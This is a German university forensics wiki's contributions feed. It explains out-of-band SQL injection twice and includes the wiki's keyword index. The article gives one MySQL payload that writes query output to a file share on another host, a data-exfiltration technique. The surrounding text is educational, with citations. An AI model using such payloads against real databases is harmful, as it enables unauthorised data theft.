IT-Forensik Wiki - Benutzerbeiträge [de]

Out-of-Band

2022-02-23T19:15:24Z

St190671: Die Seite wurde neu angelegt: „Im Normalfall erfolgt eine Kommunikation über den gleichen Übertragungsweg. Dies bedeutet, dass eine Abfrage über denselben Übertragungskanal erfolgt, wie…“

Im Normalfall erfolgt eine Kommunikation über den gleichen Übertragungsweg. Dies bedeutet, dass eine Abfrage über denselben Übertragungskanal erfolgt, wie letztendlich der Empfang stattfindet. Weicht man von dieser Art des Übertragungsweges bei einer Kommunikation ab, spricht man von out-of-band. Ein klassisches Beispiel für eine solche Injection ist das schreiben in ein vom Angreifer kontrolliertes File System. (1)

'''Beispiel - MySql:'''
''SELECT version() INTO OUTFILE '////10.0.2.15//test.txt'''

Dies ist nur möglich, da viele Datenbankserver moderne Funktionen zur Verfügung stellen. Beispielsweise können neben der Standard-Aufgabe der Datenrückgabe einer Anfrage an einen Benutzer auch Verbindungen zu anderen Datenbanken aufgebaut werden, die weitere Informationen bereitstellen und liefern können. Weiterhin können moderne Datenbankserver automatisiert E-Mails versenden, sofern bestimmte Ergebnisse eintreten. Diese Funktion ist aufgrund der Zusammenarbeit mit dem Dateisystem entstanden. (2)

Aufgrund der Vielzahl der neuen Möglichkeiten wurden Angreifern neue Türen geöffnet. Wird vom Angreifer ein anderer Übertragungskanal als der Standard für den jeweiligen Angriff verwendet, spricht man von out-of-band-Injection. Eine Funktion, die für diese Art von Injection zur Verfügung stehen muss, ist die Bereitstellung einer Netzwerkanfrage (z.B. über DNS oder HTTP) durch den Datenbankserver. Damit wird die Datenübermittlung realisiert. (3)

Die Verwendung eines anderen Kanals stellt vor allem in der Forensik einen wichtigen Bestandteil dar, da diese Form eine Besonderheit in der Blind-SQL Injection darstellt. Prinzipiell wird das Auffinden bzw. Verwenden von out-of-band-Injections seltener vorkommen als andere. Gründe hierfür sind, dass die Verwendungsmöglichkeit von out-of-band stark vom eingesetzten Datenbankmanagementsystem und dessen aktivierten Funktionen abhängt. Auch die Rechte von Usern können hinderlich sein, diese können jedoch – je nachdem, ob das System für SQL-Injections anfällig ist – verändert werden. (4)

Zusätzlich zu den DBMS-Einstellungen erschwert die Tatsache, dass ein separater Antwortkanal benötigt wird, einen Angriff. Die schwer zu haltende Anonymität des Kanals ist zudem ein weiterer Schwierigkeitsfaktor für einen Angriff. (5)

----------------------

<small>(1) | Vgl. Christian Hesne, Systhematik von SQL Injection in Theorie und Praxis, Bachelor Thesis, Hochschule Wismar, 2019, S. 32

(2) | Vgl. Justin Clarke, SQL Hacking: SQL-Injektion auf relationale Datenbanken im Detail verstehen und abwehren, Franzis Verlag, 2016, S. 223

(3) | Vgl. Christian Hesne, Systhematik von SQL Injection in Theorie und Praxis, Bachelor Thesis, Hochschule Wismar, 2019, S. 32

(4) | Vgl. Christian Hesne, Systhematik von SQL Injection in Theorie und Praxis, Bachelor Thesis, Hochschule Wismar, 2019, S. 32

(5) | Vgl. Christian Hesne, Systhematik von SQL Injection in Theorie und Praxis, Bachelor Thesis, Hochschule Wismar, 2019, S. 32</small>

Hauptseite

2022-02-23T19:13:31Z

St190671: /* O */

Willkommen beim IT-Forensik-Wiki der Hochschule Wismar. Hier werden wesentliche Begriffe zum Thema „Digitale Forensik“ erläutert.

== Literatur ==

[[Projektarbeiten]]

[[Abschlussarbeiten im Bachelor Studiengang "IT-Forensik"]]

[[Abschlussarbeiten im Master Studiengang "IT-Sicherheit und Forensik"]]

[[Forensik in DB]]

Michael Mundt, Maximilian Vogelei (Absolventen des Master-Fernstudienganges "IT-Sicherheit und Forensik"): IPython: Implementing distributed Processes of Computer Forensics: Combining Methods from Modern Data Science with those of Computer Forensics. Februar 2021, ISBN-13 : 979-8702298122 ([https://www.amazon.de/IPython-Implementing-distributed-Processes-Forensics/dp/B08WJTQF4G/ref=sr_1_6?__mk_de_DE=%C3%85M%C3%85%C5%BD%C3%95%C3%91&dchild=1&keywords=IPython&qid=1616347276&sr=8-6 hier zu erwerben])

== Stichworte IT-Forensik ==
=== A ===
[[ACPO]]

[[Aggregation]]

[[AmCache]]

[[Angriffe auf Forensik-Software]]

[[Anti-Forensik]]

[[Anwendungsarchitektur]]

[[Arbeitsspeicher]]

[[Asset Relocation]]

[[APT]]

=== B ===
[[BBED]]

[[Betriebssystem]]

[[Bitlocker]]

[[BlockchainForensik|Blockchain Forensik]]

[[Blockchainbasierte Datenbank]]

[[Broken Authentication]]

[[Brute Force]]

[[BSI-Vorgehensmodell]]

[[Bundesdatenschutzgesetz (BDSG)]]

[[BurpSuite]]

=== C ===
[[Cache]]

[[Canarytoken]]

[[CERT-Taxonomie]]

[[Chain of Custody]]

[[Cheat Engine]]

[[Checkliste IT-Forensik für Unternehmen]]

[[Chip-Off]]

[[Clickjacking]]

[[Cold Backup]]

[[Command-and-Control-Server]]

[[Computer Sabotage]]

[[Containervirtualisierung]]

[[Cookies]]

[[Cross Site Scripting (XSS)]]

[[CryptoLocker]]

[[Cybercrime]]

=== D ===
[[Darknet]]

[[Dateiheader]]

[[Datenanalyse]]

[[Datenbank Firewall]]

[[Datenbankausführungsplan]]

[[Datenbankforensik]]

[[Datenbankmanagementsystem]]

[[Datenreduktion]]

[[Datensammlung]]

[[Datenschutz in der IT-Forensik]]

[[Datenvernichtung]]

[[Datenverschleierung]]

[[DDL & DML]]

[[Deep Packet Inspection]]

[[Deep Web]]

[[Diff]]

[[Digitale Artefakte]]

[[Digitale Forensik]]

[[DLL (.dll Dateien)]]

[[DNS-Tunneling]]

[[Dokumentation]]

[[DoS & DDoS]]

[[Doxing]]

[[.DS-Store]]

[[Dual Use Software]]

[[Dynamische Analyse]]

=== E ===
[[E-Mail-Verschlüsselung und Signatur in der IT-Forensik]]

[[eDiscovery]]

[[Egg Hunting]]

[[Ermittlungsprozess]]

[[Error Based SQL Injection]]

[[Exchangeable Image File Format (EXIF)]]

[[Exploit]]

=== F ===
[[File Carving]]

[[Fingerprinting (Browser)]]

[[Fingerprinting (Betriebssystem)]]

[[Flüchtige Daten]]

[[Footprinting]]

[[Forensik]]

[[Forensic Data Mining]]

[[Forensic Readiness]]

[[Forensische Duplikation]]

[[Forensischer Koffer]]

[[Fragmentierung]]

[[Fuzzing]]

=== G ===
[[Geotag]]

[[GeoIP-Datenbank]]

[[Gerichtsfestigkeit]]

[[Google Hacking]]

=== H ===
[[Hardware-Sicherheitsmodul]]

[[Hashcat]]

[[Hashwert]]

[[Hilfstatort]]

[[Honeypot]]

=== I ===
[[ICMP - Internet Control Message Protocol]]

[[Identitätsanbieter]]

[[IDS - Intrusion Detection System]]

[[Image]]

[[Imaging]]

[[IMSI-Catcher]]

[[Incident-Response-Team]]

[[Indicator of Compromise]]

[[Integrität]]

[[IT-Forensik]]

[[IPS - Intrusion Prevention System]]

=== J ===
[[Jailbreak]]

[[Journaling-Dateisystem]]

[[Jump Lists]]

=== K ===

[[Installieren eines Live-Kali-Linux-System auf USB-Stick|Kali-Linux-Live-System auf USB-Stick installieren]]

[[Kaltstartattacke]]

[[Kausalität in der Forensik]]

[[Kerberos]]

[[Keystroke Injection Attack Tool]]

[[Korrelation]]

=== L ===
[[Lateral Movement]]

[[LDAP-Injection]]

[[Litigation Hold]]

[[Live-Forensik]]

[[Local file inclusion]]

[[Locard'sche Regel]]

[[Lockheed Martin Cyber Kill Chain]]

[[Log-File]]

[[LogMining]]

=== M ===
[[Magnet Axiom]]

[[Memory Forensics]]

[[Metadaten]]

[[Mobiltelefon-Forensik]]

=== N ===
[[Netcat]]

[[Netflow]]

[[Never-Touch-Original]]

[[Nmap]]

[[NTFS]]

=== O ===
[[Online-Forensik]]

[[Offline-Forensik]]

[[Ontologie & Semantik]]

[[Oracle DB]] (Forensische Aspekte)

[[Order of Volatility]]

[[OSINT-Werkzeug]]

[[Out-of-Band]]

=== P ===
[[Pass-the-Hash-Attack]]

[[Payload]]

[[Partition]]

[[PCMCIA]]

[[Penetrationstest]]

[[PostgreSQL Command Execution]]

[[Post-Mortem-Analyse]]

[[Prepared Statement]]

[[Prozess der Mobiltelefon Forensik]]

[[Prüfsumme]]

[[P2P (Peer-to-Peer) Software / Netzwerke]]

=== Q ===

[[Query Log]]

=== R ===

[[Radare 2 - Reverse Engineering Framework]]

[[Rainbow Table]]

[[Redo Logs]]

[[Registry]]

[[Remote Access Trojaner (RAT)]]

[[Replay Attack]]

[[Reverse Engineering]]

[[Rogue Access Point & Evil Twin]]

[[Rootkit]]

=== S ===
[[SAP-Modell]]

[[Sandbox]]

[[Security Information and Event Management (SIEM)]]

[[Seitenkanalattacke]]

[[Semantik]]

[[ShimCache]]

[[Sigma]]

[[Skimming]]

[[Skript-Kiddie]]

[[Slack Space]]

[[Smishing]]

[[Sparse Image]]

[[Stack-basierte Buffer-Overflow Angriffe in Microsoft Windows]]

[[Statische Analyse]]

[[Sniffing]]

[[Sealbag]]

[[SpiderFoot]]

[[Spuren]]

[[SQL Injection]]

[[SQLite Datenbanken auslesen mittels Python]]

[[Sqlmap]]

[[SSL Inspection]]

[[Steganographie]]

=== T ===
[[Tatort]]

[[Team Win Recovery Project]]

[[Threat Intelligence]]

[[Thunderspy]]

[[Timeline]]

[[Triage]]

[[Trugspur]]

[[Tsurugi-Linux]]

[[Totmannschalter]]

=== U ===
[[Unallocated Data (Nicht zugeordnete Daten)]]

=== V ===
[[Verfügbarkeit]]

[[Vertraulichkeit]]

[[Vertraulichkeit in Datenbanksystemen]]

[[Volume Shadow Copies]]

[[Vorsorge für die IT-Forensik]]

[[Video-Forensik]]

=== W ===
[[W-Fragen]]

[[Watering-Holes]]

[[Web-Application-Firewall]]

[[Whitelisting]]

[[Why-Because-Analyse (WBA)]]

[[Windows-RAM auslesen]]

[[Windows-Prefetch]]

[[Wiping]]

[[Wireshark]]

[[Write Blocker]]

[[Wörterbuchangriff]]

=== X ===
[[Xmount]]

=== Z ===
[[Zeit]]

[[Zenmap]]

[[Zero-Day-Exploit]]

[[Ziele einer forensischen Untersuchung nach A. Geschonneck]]

== Fernstudiengänge an der Hochschule Wismar (berufsbegleitend) ==

[https://www.wings.hs-wismar.de/de/fernstudium_bachelor/it_forensik IT-Forensik, Bachelor]

[https://www.wings.hs-wismar.de/de/fernstudium_master/it_sicherheit_und_forensik/ IT-Sicherheit und Forensik, Master]

== Starthilfen ==

* Hilfe zur Benutzung und Konfiguration der Wiki-Software finden Sie im [https://www.mediawiki.org/wiki/Special:MyLanguage/Help:Contents Benutzerhandbuch]
* [https://www.mediawiki.org/wiki/Special:MyLanguage/Manual:Configuration_settings Liste der Konfigurationsvariablen]
* [https://www.mediawiki.org/wiki/Special:MyLanguage/Manual:FAQ MediaWiki-FAQ]
* [https://lists.wikimedia.org/mailman/listinfo/mediawiki-announce Mailingliste neuer MediaWiki-Versionen]
* [https://www.mediawiki.org/wiki/Special:MyLanguage/Localisation#Translation_resources Übersetze MediaWiki für deine Sprache]
* [https://www.mediawiki.org/wiki/Special:MyLanguage/Manual:Combating_spam Erfahre, wie du Spam auf deinem Wiki bekämpfen kannst]

Diskussion:Hauptseite

2022-02-22T19:27:25Z

St190671: Die Seite wurde geleert.

Diskussion:Hauptseite

2022-02-22T19:26:54Z

St190671: Der Seiteninhalt wurde durch einen anderen Text ersetzt: „--“

Diskussion:Hauptseite

2022-02-22T19:24:28Z

St190671: Neuer Abschnitt /* Out-of-Band */

== Out-of-Band ==

Im Normalfall erfolgt eine Kommunikation über den gleichen Übertragungsweg. Dies bedeutet, dass eine Abfrage über denselben Übertragungskanal erfolgt, wie letztendlich der Empfang stattfindet. Weicht man von dieser Art des Übertragungsweges bei einer Kommunikation ab, spricht man von out-of-band. Ein klassisches Beispiel für eine solche Injection ist das schreiben in ein vom Angreifer kontrolliertes File System. (1)

'''Beispiel - MySql:'''
''SELECT version() INTO OUTFILE '////10.0.2.15//test.txt'''

Dies ist nur möglich, da viele Datenbankserver moderne Funktionen zur Verfügung stellen. Beispielsweise können neben der Standard-Aufgabe der Datenrückgabe einer Anfrage an einen Benutzer auch Verbindungen zu anderen Datenbanken aufgebaut werden, die weitere Informationen bereitstellen und liefern können. Weiterhin können moderne Datenbankserver automatisiert E-Mails versenden, sofern bestimmte Ergebnisse eintreten. Diese Funktion ist aufgrund der Zusammenarbeit mit dem Dateisystem entstanden. (2)

Aufgrund der Vielzahl der neuen Möglichkeiten wurden Angreifern neue Türen geöffnet. Wird vom Angreifer ein anderer Übertragungskanal als der Standard für den jeweiligen Angriff verwendet, spricht man von out-of-band-Injection. Eine Funktion, die für diese Art von Injection zur Verfügung stehen muss, ist die Bereitstellung einer Netzwerkanfrage (z.B. über DNS oder HTTP) durch den Datenbankserver. Damit wird die Datenübermittlung realisiert. (3)

Die Verwendung eines anderen Kanals stellt vor allem in der Forensik einen wichtigen Bestandteil dar, da diese Form eine Besonderheit in der Blind-SQL Injection darstellt. Prinzipiell wird das Auffinden bzw. Verwenden von out-of-band-Injections seltener vorkommen als andere. Gründe hierfür sind, dass die Verwendungsmöglichkeit von out-of-band stark vom eingesetzten Datenbankmanagementsystem und dessen aktivierten Funktionen abhängt. Auch die Rechte von Usern können hinderlich sein, diese können jedoch – je nachdem, ob das System für SQL-Injections anfällig ist – verändert werden. (4)

Zusätzlich zu den DBMS-Einstellungen erschwert die Tatsache, dass ein separater Antwortkanal benötigt wird, einen Angriff. Die schwer zu haltende Anonymität des Kanals ist zudem ein weiterer Schwierigkeitsfaktor für einen Angriff. (5)

----------------------

(1) | Vgl. Christian Hesne, Systhematik von SQL Injection in Theorie und Praxis, Bachelor Thesis, Hochschule Wismar, 2019, S. 32

(2) | Vgl. Justin Clarke, SQL Hacking: SQL-Injektion auf relationale Datenbanken im Detail verstehen und abwehren, Franzis Verlag, 2016, S. 223

(3) | Vgl. Christian Hesne, Systhematik von SQL Injection in Theorie und Praxis, Bachelor Thesis, Hochschule Wismar, 2019, S. 32

(4) | Vgl. Christian Hesne, Systhematik von SQL Injection in Theorie und Praxis, Bachelor Thesis, Hochschule Wismar, 2019, S. 32

(5) | Vgl. Christian Hesne, Systhematik von SQL Injection in Theorie und Praxis, Bachelor Thesis, Hochschule Wismar, 2019, S. 32